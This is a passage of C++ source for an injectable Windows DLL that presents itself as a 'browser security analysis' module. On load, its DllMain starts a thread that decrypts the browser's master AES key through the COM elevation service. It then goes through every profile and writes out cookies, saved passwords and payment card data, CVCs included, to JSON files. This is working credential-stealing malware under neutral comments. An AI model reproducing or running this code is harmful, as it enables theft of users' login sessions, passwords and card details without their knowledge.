m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) +
|
|
": " + (db ? sqlite3_errmsg(db) : "N/A"));
|
|
if (db) sqlite3_close_v2(db);
|
|
return;
|
|
}
|
|
|
|
// Prepare SQL query for data extraction
|
|
sqlite3_stmt* stmt = nullptr;
|
|
if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK)
|
|
{
|
|
sqlite3_close_v2(db);
|
|
return;
|
|
}
|
|
|
|
// Execute pre-query setup if needed (e.g., for payment card CVCs)
|
|
void* preQueryState = nullptr;
|
|
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> cvcMap;
|
|
if (m_config.preQuerySetup)
|
|
{
|
|
cvcMap = m_config.preQuerySetup(db);
|
|
preQueryState = &cvcMap;
|
|
}
|
|
|
|
// Extract and format data entries using custom formatters
|
|
std::vector<std::string> jsonEntries;
|
|
while (sqlite3_step(stmt) == SQLITE_ROW)
|
|
{
|
|
if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState))
|
|
{
|
|
jsonEntries.push_back(*jsonEntry);
|
|
}
|
|
}
|
|
|
|
sqlite3_finalize(stmt);
|
|
sqlite3_close_v2(db);
|
|
|
|
// Write extraction results to structured JSON output file
|
|
if (!jsonEntries.empty())
|
|
{
|
|
fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() /
|
|
(m_config.outputFileName + ".json");
|
|
|
|
std::error_code ec;
|
|
fs::create_directories(outFilePath.parent_path(), ec);
|
|
if (ec)
|
|
{
|
|
m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path()));
|
|
return;
|
|
}
|
|
|
|
std::ofstream out(outFilePath, std::ios::trunc);
|
|
if (!out) return;
|
|
|
|
out << "[\n";
|
|
for (size_t i = 0; i < jsonEntries.size(); ++i)
|
|
{
|
|
out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n");
|
|
}
|
|
out << "\n]\n";
|
|
|
|
m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName +
|
|
" extracted to " + StringUtils::path_to_string(outFilePath));
|
|
}
|
|
}
|
|
|
|
private:
|
|
fs::path m_profilePath;
|
|
const Data::ExtractionConfig& m_config;
|
|
const std::vector<uint8_t>& m_aesKey;
|
|
PipeLogger& m_logger;
|
|
fs::path m_baseOutputPath;
|
|
std::string m_browserName;
|
|
};
|
|
|
|
// Main orchestrator for browser security analysis operations
|
|
class SecurityOrchestrator
|
|
{
|
|
public:
|
|
explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName) : m_logger(lpcwstrPipeName)
|
|
{
|
|
if (!m_logger.isValid())
|
|
{
|
|
throw std::runtime_error("Failed to connect to named pipe from orchestrator.");
|
|
}
|
|
ReadPipeParameters();
|
|
}
|
|
|
|
// Execute complete browser security analysis workflow
|
|
void Run()
|
|
{
|
|
BrowserManager browserManager;
|
|
const auto& browserConfig = browserManager.getConfig();
|
|
m_logger.Log("[*] Security analysis process started for " + browserConfig.name);
|
|
|
|
// Decrypt master key using COM elevation service
|
|
std::vector<uint8_t> aesKey;
|
|
{
|
|
MasterKeyDecryptor keyDecryptor(m_logger);
|
|
fs::path localStatePath = browserManager.getUserDataRoot() / "Local State";
|
|
aesKey = keyDecryptor.Decrypt(browserConfig, localStatePath);
|
|
}
|
|
m_logger.Log("[+] Decrypted AES Key: " + Utils::BytesToHexString(aesKey));
|
|
|
|
// Discover and process all browser profiles systematically
|
|
ProfileEnumerator enumerator(browserManager.getUserDataRoot(), m_logger);
|
|
auto profilePaths = enumerator.FindProfiles();
|
|
|
|
for (const auto& profilePath : profilePaths)
|
|
{
|
|
m_logger.Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename()));
|
|
|
|
// Extract each data type (cookies, passwords, payments) using specialized handlers
|
|
for (const auto& dataConfig : Data::GetExtractionConfigs())
|
|
{
|
|
DataExtractor extractor(profilePath, dataConfig, aesKey, m_logger, m_outputPath, browserConfig.name);
|
|
extractor.Extract();
|
|
}
|
|
}
|
|
|
|
m_logger.Log("[*] All profiles processed. Security analysis process finished.");
|
|
}
|
|
|
|
private:
|
|
// Read configuration parameters from orchestrator via named pipe
|
|
void ReadPipeParameters()
|
|
{
|
|
char buffer[MAX_PATH + 1] = {0};
|
|
DWORD bytesRead = 0;
|
|
|
|
// Read verbose flag configuration
|
|
ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr);
|
|
|
|
// Read output path configuration
|
|
ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr);
|
|
buffer[bytesRead] = '\0';
|
|
m_outputPath = buffer;
|
|
}
|
|
|
|
PipeLogger m_logger;
|
|
fs::path m_outputPath;
|
|
};
|
|
}
|
|
|
|
// Thread parameters for security module worker thread
|
|
struct ModuleThreadParams
|
|
{
|
|
HMODULE hModule_dll;
|
|
LPVOID lpPipeNamePointerFromOrchestrator;
|
|
};
|
|
|
|
// Main worker thread for browser security analysis operations
|
|
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam)
|
|
{
|
|
auto thread_params = std::unique_ptr<ModuleThreadParams>(static_cast<ModuleThreadParams*>(lpParam));
|
|
|
|
try
|
|
{
|
|
SecurityComponents::SecurityOrchestrator orchestrator(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
|
|
orchestrator.Run();
|
|
}
|
|
catch (const std::exception& e)
|
|
{
|
|
try
|
|
{
|
|
// Attempt to log error through pipe if communication channel is available
|
|
SecurityComponents::PipeLogger errorLogger(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
|
|
if (errorLogger.isValid())
|
|
{
|
|
errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what()));
|
|
}
|
|
}
|
|
catch (...) {} // Failsafe error handling if logging subsystem fails
|
|
}
|
|
|
|
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
|
|
return 0;
|
|
}
|
|
|
|
// Security module entry point - initializes browser security analysis operations
|
|
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
|
|
{
|
|
if (reason == DLL_PROCESS_ATTACH)
|
|
{
|
|
DisableThreadLibraryCalls(hModule);
|
|
|
|
auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved};
|
|
if (!params) return TRUE;
|
|
|
|
HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL);
|
|
if (hThread)
|
|
{
|
|
CloseHandle(hThread);
|
|
}
|
|
else
|
|
{
|
|
delete params;
|
|
}
|
|
}
|
|
return TRUE;
|
|
} |